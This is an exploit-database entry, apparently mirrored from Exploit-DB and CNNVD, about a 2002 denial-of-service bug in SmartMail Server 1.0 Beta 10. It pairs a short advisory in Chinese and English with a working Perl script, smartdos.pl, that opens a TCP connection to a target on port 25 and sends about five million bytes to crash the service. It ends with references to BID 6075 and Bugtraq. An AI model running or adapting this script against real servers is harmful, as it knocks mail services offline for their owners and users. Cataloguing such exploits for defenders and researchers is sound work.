https://www.exploit-db.com/exploits/21973
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200212-293

SmartMailServer1.0测试版10存在缓冲区溢出漏洞。远程攻击者借助（1）TCP端口25（SMTP）或者（2）TCP端口110（POP3）的超长请求导致服务拒绝。

source: http://www.securityfocus.com/bid/6075/info

SmartMail Server is reported to be prone to a remote denial of service
condition. It is possible to trigger this condition by sending large amounts (5MB+) of data to the server via TCP port 25 or 110.

SmartMail Server will need to be restarted to regain normal functionality.

This issue was reported in SmartMail Server 1.0 BETA 10. It is not known if other versions are affected. 

#!/usr/bin/perl -w
# tool smartdos.pl
# [email protected]
# Greetz: marocit and #crack.fr (specialement christal.)
#
use IO::Socket;
if ($#ARGV<0)
{
 print "n write the target IP!nn";
 exit;
}
$buffer = "A"x 5099999 ;
$connect = IO::Socket::INET ->new (Proto=>"tcp",
PeerAddr=> "$ARGV[0]",
PeerPort=>"25"); unless ($connect) { die "cant connect $ARGV
[0]" }
print $connect "$buffer";
print "nsending exploit......nn";

来源:BID
名称:6075
链接:http://www.securityfocus.com/bid/6075
来源:XF
名称:smartmail-server-ports-dos(10512)
链接:http://www.iss.net/security_center/static/10512.php
来源:BUGTRAQ
名称:20021031SmartMailserverDOS
链接:http://archives.neohapsis.com/archives/bugtraq/2002-10/0418.html